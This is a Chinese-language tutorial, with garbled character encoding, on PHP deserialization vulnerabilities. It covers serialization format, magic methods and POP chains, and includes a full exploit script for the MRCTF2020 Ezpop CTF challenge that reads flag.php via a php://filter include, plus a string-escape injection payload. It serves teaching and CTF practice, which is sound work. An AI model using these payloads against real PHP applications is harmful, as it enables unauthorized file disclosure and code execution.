PHP反序列化漏洞實例深入解析
引文
上一篇給大家?guī)砹薠SS跨站腳本攻擊漏洞不知道大家學的咋樣了,今天給大家?guī)砹硪粋€漏洞,PHP的反序列化漏洞,這也是我在CTF比賽中遇到過最多的也是比較考察邏輯思維的一種漏洞。
簡介
PHP反序列化是一個非常常見的漏洞,利用難度相比于文件上傳等漏洞相對較困難,漏洞的形成的根本原因是程序沒有對用戶輸入的反序列化字符串進行檢測,導致反序列化過程可以被惡意控制,進而造成代碼執(zhí)行、getshell等一系列不可控的后果。
基礎知識
在了解反序列化之前先看看反序列化與序列化:
序列化
序列化就是將 對象object、string、array、變量 轉(zhuǎn)換成具有一定格式的字符串,方便保持穩(wěn)定的格式在文件中傳輸,以便還原為原來的內(nèi)容。這個應該很好理解,學過JAVA反序列化的可以按照JAVA的去理解,只不過用到的函數(shù)不一樣罷了,下面是一個序列化的例子:
<?php class XINO{ var $test = '123456'; } $class1 = new XINO; $class1_ser = serialize($class1); print_r($class1_ser); ?>
輸出字符串:
O:4:"XINO":1:{s:4:"test";s:6:"123456";}
O代表存儲的是對象(object),4表示有4個字符,XINO表示對象名,1表示有一個值,括號里的以此類推。
反序列化
與序列化相對應,從序列化后的結果中恢復對象(object)。用法和上面的序列化函數(shù)差不多,只是作用相反,會恢復被序列化的字符串流。函數(shù)為:unserialize。
屬性
了解完序列化與反序列化,下一個要了解的我認為是php的屬性,有基礎的小伙伴可能會知道php的屬性有:public(公有),protected(受保護)或 private(私有)。
由于變量的屬性不同,序列化后的結果也會有一些細微的差異,這是要十分記住的點,也是個人在學習中經(jīng)常出錯的點:
public:屬性被序列化的時候?qū)傩灾挡粫摹?/p>
protected:屬性被序列化的時候?qū)傩灾禃兂?%00*%00屬性名
private:屬性被序列化的時候?qū)傩灾禃兂?code>%00類名%00屬性名
上面這些要牢牢記住,有時候反序列化攻擊不成功也許并不是反序列化利用鏈不對,而是這些細微的點出錯了。
魔術方法
所謂魔術方法,個人理解的是當達成某個特定條件時會自動調(diào)用的方法,而在php反序列化中,常用的魔術方法與觸發(fā)條件如下:
__construct 當一個對象創(chuàng)建時被調(diào)用,
__destruct 當一個對象銷毀時被調(diào)用,
__toString 當一個對象被當作一個字符串被調(diào)用。
__wakeup() 使用unserialize時觸發(fā)
__sleep() 使用serialize時觸發(fā)
__destruct() 對象被銷毀時觸發(fā)
__call() 在對象上下文中調(diào)用不可訪問的方法時觸發(fā)
__callStatic() 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)
__get() 用于從不可訪問的屬性讀取數(shù)據(jù)
__set() 用于將數(shù)據(jù)寫入不可訪問的屬性
__isset() 在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)
__unset() 在不可訪問的屬性上使用unset()時觸發(fā)
__toString() 把類當作字符串使用時觸發(fā),返回值需要為字符串
__invoke() 當腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)
比如下面代碼:
<?php class TestClass { public $foo; public function __construct($foo) { $this->foo = $foo; } public function __toString() { return $this->foo; } } $class = new TestClass('Hello'); echo $class; // 運行結果:Hello ?>
我們新定義一個了一個TestClass類,由于一個新對象被創(chuàng)建,觸發(fā)__construct,echo該類時,對象被當作了字符串調(diào)用,于是觸發(fā)__toStrng()方法,最后輸出Hello。
POP鏈
學完上面的基礎知識后,我們可以引入POP鏈的知識了,當注入點存在普通的類方法中,我們就不能調(diào)用方法了,所以我們需要找到普通類與魔術方法之間的聯(lián)系,也就是構造POP鏈,理出一種邏輯思路,通過這種邏輯思路來構造一條pop鏈,從而達到攻擊的目的。
下面給大家?guī)硪粋€簡單的例子:
[MRCTF2020]Ezpop
打開靶機發(fā)現(xiàn)網(wǎng)站源碼:
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
這是一道比較經(jīng)典的POP鏈題目,可以正著推或者反著推,本次我們反著推,我們一步一步分析:
Modifier類
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }
可以看到有利用點include來進行文件包含,php偽協(xié)議來訪問flag.php。而要想觸發(fā)append函數(shù), _invoke函數(shù)被調(diào)用時會觸發(fā)include函數(shù)。
我們看TEST類,類中有 _get() 魔術方法,將this->p設為一個構造好的Modifier對象。再看看show類,其中有toString魔術方法,在一個對象被當作一個字符串使用時調(diào)用,當echo一個對象時會自動觸發(fā)這個方法。返回了 $this->str->source,最后的一步是讓source 等于對象,進而觸發(fā) __toString方法。
最后的構造的POP鏈payload為:
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; public function __construct(){ $this->str = new Test(); } } class Test{ public $p; } $a = new Show(); $a->source = new Show(); $a->source->str->p = new Modifier(); echo urlencode(serialize($a)); ?>
運行一下得到結果:
提交就可以得到結果。
PHP字符串逃逸
學完POP鏈,我們進階講一下PHP字符串逃逸,這也是有一些難度的知識點,可以先簡單理解為SQL注入,這里就簡單講講:反序列化以;}為結束標志,后面的內(nèi)容則忽略不管。假設我們構造一個序列化字符串
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
如果題目中,將flag過濾,我們的字符串會變成:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
flag被替換為空了,字符長度不匹配就會向后讀取,因為我們要構造惡意字符串去匹配。從而達到逃逸。
結語
今天比較詳細的講了PHP反序列化漏洞的原理以及應用方法,有興趣的小伙伴可以自己去搭建靶機來進行測試,以上就是PHP反序列化漏洞實例深入解析的詳細內(nèi)容,更多關于PHP反序列化漏洞的資料請關注腳本之家其它相關文章!
相關文章
PHP 使用header函數(shù)設置HTTP頭的示例解析 表頭
本篇文章是對PHP使用header函數(shù)設置HTTP頭的示例進行了詳細的分析介紹,需要的朋友參考下2013-06-06php 時間time與日期date之間的使用詳解及區(qū)別
PHP中有time函數(shù),也有date函數(shù),這兩個函數(shù)在使用時候的區(qū)別很明顯。但更應注意,time和date是兩個完全不時的格式,當然還有一種字符串格式。本文重點介紹這幾者的區(qū)別。2016-11-11php 的加密函數(shù) md5,crypt,base64_encode 等使用介紹
php 在做注冊、登錄或是url 傳遞參數(shù)時都會用到 字符變量的加密,下面我們就來簡單的介紹下:php 自帶的加密函數(shù)2012-04-04